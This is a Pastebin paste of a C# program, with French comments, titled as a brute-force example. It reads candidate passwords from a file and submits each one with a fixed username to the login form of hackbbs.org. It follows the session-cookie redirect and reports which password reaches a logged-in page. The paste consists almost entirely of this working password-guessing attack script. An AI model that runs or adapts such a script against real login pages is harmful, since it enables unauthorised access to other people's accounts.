Manu404

ExempleBruteForceSession

Jun 7th, 2011
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.78 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Web;
  4. using System.Net;
  5. using System.Collections;
  6. using System.Text.RegularExpressions;
  7.  
  8. namespace BBSCrawler
  9. {
  10.     class Program
  11.     {
  12.         public static void Main(string[] args)
  13.         {
  14.             string passline;
  15.             string user = "Manu404";
  16.             // Onverture du fichier pass.txt se trouvant dans le dossier de l'application dans un buffer
  17.             StreamReader file = new StreamReader(System.Windows.Forms.Application.StartupPath + "\\pass.txt");
  18.  
  19.             // Lecture du buffer ligne par ligne
  20.             while ((passline = file.ReadLine()) != null)
  21.             {
  22.                 // Stock les cookies
  23.                 CookieContainer cookieContainer = new CookieContainer();
  24.  
  25.                 // On se connecte avec les credentials
  26.                 WebPostRequest request = new WebPostRequest("http://hackbbs.org/login.php",ref cookieContainer);
  27.                 request.Add("login", user);
  28.                 request.Add("password", passline);
  29.                 request.Add("Connexion", "Connexion");
  30.  
  31.                 // On récupère la page intermédiaire qui redirect sur cook.php pour avoir un cookie
  32.                 string loginResult = request.GetResponse();
  33.  
  34.                 // On récupère l'url
  35.                 string cookResult = SplitCookie(loginResult);
  36.  
  37.                 // Si elle est avlie
  38.                 if (!cookResult.Contains("error"))
  39.                 {
  40.                     // On l'execute, go to home
  41.                     request = new WebPostRequest(cookResult,ref cookieContainer);
  42.                     string connect = request.GetResponse();
  43.  
  44.                     // Si on est connecté le choix "Deconnexion" est dispo
  45.                     string result = (connect.Contains("DECONNEXION")) ? "Ok" : "Ko";
  46.                     Console.WriteLine("Log {0} - {1}:{2}", result, user, passline);
  47.                 }
  48.             }
  49.             file.Close();
  50.             Console.ReadKey();
  51.         }
  52.  
  53.         public static string SplitCookie(string loginPage)
  54.         {
  55.             Regex r = new Regex(@"((https?):((//)|(\\\\))+[\w\d:#@%/;$()~_?\+-=\\\.&]*)");
  56.             string[] splited = r.Split(loginPage);
  57.             foreach (string s in splited)
  58.                 if(s.StartsWith("http"))
  59.                     return s;
  60.             return "error";
  61.         }
  62.     }
  63.  
  64.     class WebPostRequest
  65.     {
  66.         private HttpWebRequest theRequest;
  67.         private HttpWebResponse theResponse;
  68.         private ArrayList theQueryData;
  69.  
  70.         public WebPostRequest(string url,ref CookieContainer cookie)
  71.         {
  72.             theRequest = (HttpWebRequest)WebRequest.Create(url);
  73.             theRequest.Method = "POST";
  74.             theRequest.CookieContainer = cookie;
  75.             theQueryData = new ArrayList();
  76.         }
  77.  
  78.         public void Add(string key, string value)
  79.         {
  80.             theQueryData.Add(String.Format("{0}={1}", key, HttpUtility.UrlEncode(value)));
  81.         }
  82.  
  83.         public string GetResponse()
  84.         {
  85.             // Définis l'encodage
  86.             theRequest.ContentType = "application/x-www-form-urlencoded";
  87.  
  88.             // Crée un string qui contient tout les paramètres
  89.             string Parameters = String.Join("&", (String[])theQueryData.ToArray(typeof(string)));
  90.             theRequest.ContentLength = Parameters.Length;
  91.  
  92.             // Ecriture des paramètres dans la requête
  93.             StreamWriter sw = new StreamWriter(theRequest.GetRequestStream());
  94.             sw.Write(Parameters);
  95.             sw.Close();
  96.  
  97.             // Execute la requête
  98.             theResponse = (HttpWebResponse)theRequest.GetResponse();
  99.             StreamReader sr = new StreamReader(theResponse.GetResponseStream());
  100.  
  101.             return sr.ReadToEnd();
  102.         }
  103.  
  104.     }
  105. }
Advertisement
Add Comment
Please, Sign In to add comment